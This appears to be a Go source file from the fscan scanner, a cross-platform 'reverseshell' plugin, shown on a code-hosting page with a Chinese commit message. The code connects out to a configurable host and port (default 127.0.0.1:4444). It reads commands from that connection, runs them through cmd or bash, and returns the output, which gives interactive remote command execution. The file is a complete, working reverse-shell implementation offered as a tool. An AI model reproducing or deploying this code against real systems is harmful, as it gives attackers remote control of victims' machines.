fscan/Plugins/local/reverseshell/plugin.go
ZacharyZcR a86098d6b6 refactor: 重构本地插件架构并支持多平台
- 简化本地插件架构,移除不必要的连接器抽象
- 重构6个本地插件使用统一的简化架构
- 更新平台支持配置:Windows专用插件(avdetect/dcinfo/minidump),跨平台插件(fileinfo/reverseshell/socks5proxy)
- 修复插件注册和系统集成
- 优化代码结构和错误处理
2025-08-11 04:10:04 +08:00

276 lines
7.0 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

package reverseshell
import (
"bufio"
"context"
"fmt"
"io"
"net"
"os"
"os/exec"
"runtime"
"strconv"
"strings"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"github.com/shadow1ng/fscan/plugins/local"
)
// ReverseShellPlugin 反弹Shell插件 - 使用简化架构
type ReverseShellPlugin struct {
*local.BaseLocalPlugin
target string // 目标地址:端口
host string
port int
}
// NewReverseShellPlugin 创建反弹Shell插件 - 简化版本
func NewReverseShellPlugin() *ReverseShellPlugin {
// 从全局参数获取反弹Shell目标
target := common.ReverseShellTarget
if target == "" {
// 如果没有指定目标,使用默认值
target = "127.0.0.1:4444"
}
metadata := &base.PluginMetadata{
Name: "reverseshell",
Version: "1.0.0",
Author: "fscan-team",
Description: "纯Go原生反弹Shell本地插件支持Windows/Linux/macOS",
Category: "local",
Tags: []string{"local", "shell", "reverse", "crossplatform", "native"},
Protocols: []string{"local"},
}
// 解析目标地址
host, portStr, err := net.SplitHostPort(target)
if err != nil {
host = target
portStr = "4444" // 默认端口
}
port, err := strconv.Atoi(portStr)
if err != nil {
port = 4444 // 默认端口
}
plugin := &ReverseShellPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
target: target,
host: host,
port: port,
}
// 设置支持的平台
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
// 不需要特殊权限
plugin.SetRequiresPrivileges(false)
return plugin
}
// Initialize 初始化插件
func (p *ReverseShellPlugin) Initialize() error {
// 调用基类初始化
return p.BaseLocalPlugin.Initialize()
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return p.ScanLocal(ctx, info)
}
// ScanLocal 执行反弹Shell扫描 - 简化版本
func (p *ReverseShellPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("启动Go原生反弹Shell...")
// 启动反弹shell
common.LogBase(fmt.Sprintf("连接到目标 %s", p.target))
// 直接在当前goroutine中运行这样可以确保在设置ReverseShellActive后立即被主程序检测到
err := p.startNativeReverseShell(ctx, p.host, p.port)
if err != nil {
common.LogError(fmt.Sprintf("Go原生反弹Shell错误: %v", err))
return &base.ScanResult{
Success: false,
Error: err,
}, nil
}
result := &base.ScanResult{
Success: true,
Service: "ReverseShell",
Banner: fmt.Sprintf("Go原生反弹Shell已完成 - 目标: %s 平台: %s", p.target, runtime.GOOS),
Extra: map[string]interface{}{
"target": p.target,
"platform": runtime.GOOS,
"implementation": "go_native",
"status": "completed",
},
}
return result, nil
}
// startNativeReverseShell 启动Go原生反弹Shell - 核心实现
func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host string, port int) error {
// 连接到目标
conn, err := net.Dial("tcp", fmt.Sprintf("%s:%d", host, port))
if err != nil {
return fmt.Errorf("连接失败: %v", err)
}
defer conn.Close()
common.LogSuccess(fmt.Sprintf("反弹Shell已连接到 %s:%d", host, port))
// 设置反弹Shell为活跃状态告诉主程序保持运行
common.ReverseShellActive = true
defer func() {
// 确保退出时清除活跃状态
common.ReverseShellActive = false
}()
// 发送欢迎消息
welcomeMsg := fmt.Sprintf("Go Native Reverse Shell - %s/%s\n", runtime.GOOS, runtime.GOARCH)
conn.Write([]byte(welcomeMsg))
conn.Write([]byte("Type 'exit' to quit\n"))
// 创建读取器
reader := bufio.NewReader(conn)
for {
// 检查上下文取消
select {
case <-ctx.Done():
conn.Write([]byte("Shell session terminated by context\n"))
return ctx.Err()
default:
}
// 发送提示符
prompt := fmt.Sprintf("%s> ", getCurrentDir())
conn.Write([]byte(prompt))
// 读取命令
cmdLine, err := reader.ReadString('\n')
if err != nil {
if err == io.EOF {
common.LogBase("反弹Shell连接关闭")
return nil
}
return fmt.Errorf("读取命令错误: %v", err)
}
// 清理命令
cmdLine = strings.TrimSpace(cmdLine)
if cmdLine == "" {
continue
}
// 检查退出命令
if cmdLine == "exit" {
conn.Write([]byte("Goodbye!\n"))
return nil
}
// 执行命令
result := p.executeCommand(cmdLine)
// 发送结果
conn.Write([]byte(result + "\n"))
}
}
// executeCommand 执行系统命令
func (p *ReverseShellPlugin) executeCommand(cmdLine string) string {
var cmd *exec.Cmd
// 根据操作系统选择命令解释器
switch runtime.GOOS {
case "windows":
cmd = exec.Command("cmd", "/C", cmdLine)
case "linux", "darwin":
cmd = exec.Command("bash", "-c", cmdLine)
default:
return fmt.Sprintf("不支持的操作系统: %s", runtime.GOOS)
}
// 执行命令并获取输出
output, err := cmd.CombinedOutput()
if err != nil {
return fmt.Sprintf("错误: %v\n%s", err, string(output))
}
return string(output)
}
// getCurrentDir 获取当前目录
func getCurrentDir() string {
dir, err := os.Getwd()
if err != nil {
return "unknown"
}
return dir
}
// GetLocalData 获取反弹Shell本地数据
func (p *ReverseShellPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
data := make(map[string]interface{})
// 获取系统信息
data["plugin_type"] = "reverseshell"
data["platform"] = runtime.GOOS
data["arch"] = runtime.GOARCH
data["target"] = p.target
data["implementation"] = "go_native"
if homeDir, err := os.UserHomeDir(); err == nil {
data["home_dir"] = homeDir
}
if workDir, err := os.Getwd(); err == nil {
data["work_dir"] = workDir
}
return data, nil
}
// GetInfo 获取插件信息
func (p *ReverseShellPlugin) GetInfo() string {
var info strings.Builder
info.WriteString("Go原生反弹Shell插件\n")
info.WriteString(fmt.Sprintf("目标: %s\n", p.target))
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
info.WriteString("功能: 建立反弹Shell连接支持交互式命令执行\n")
info.WriteString("实现方式: 纯Go原生无外部依赖\n")
return info.String()
}
// RegisterReverseShellPlugin 注册反弹Shell插件
func RegisterReverseShellPlugin() {
factory := base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "reverseshell",
Version: "1.0.0",
Author: "fscan-team",
Description: "纯Go原生反弹Shell本地插件支持Windows/Linux/macOS",
Category: "local",
Tags: []string{"reverseshell", "local", "shell", "crossplatform", "native"},
Protocols: []string{"local"},
},
func() base.Plugin {
return NewReverseShellPlugin()
},
)
base.GlobalPluginRegistry.Register("reverseshell", factory)
}
// init 插件注册函数
func init() {
RegisterReverseShellPlugin()
}